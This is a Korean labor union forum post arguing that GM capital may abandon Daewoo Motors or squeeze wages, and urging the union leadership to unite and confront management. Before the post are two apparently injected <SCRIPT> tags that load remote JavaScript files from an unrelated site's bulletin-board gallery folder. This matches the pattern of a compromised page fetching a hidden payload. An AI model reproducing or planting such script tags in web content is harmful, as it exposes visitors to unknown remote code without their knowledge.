<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 무장적 미끼를 낼룸 물었다간 대우자동차가 언제 망가질지 아무도 모른다.
지엠 자본은 흑자가 안나면 언제든지 대우자동차를 버릴수 있기때문이다.
지엠은 흑자 논리를 펴 이익이 나면 조금해주고 그렇지 않으면 임금 동결, 계속적으로
노동조합을 압박할 것이다. 지엠은 우리나라의 정서를 고려하지 않은 채, 미국식으로
일방적으로 나갈수 있다. 지엠의 초국적 자본이 함부로 할수 없게 노동 조합이 힘을 가져야 한다. 그렇게 하기위해선, 본조,지부 하나가 되어야 한다.
사무노위 하고도 연대를 해야 한다. 이렇게 하지 않으면 언제든지 지엠 자본에
무참히 짓밟힐것이다. 지부한테,8500명 조합원들한테 강한척하지말고,
지엠 자본, 사측한테 강한 보습을 보여라. 19대 집행부여.........
진짜로 강한 넘은 지엠 자본과 사측 넘들이다.
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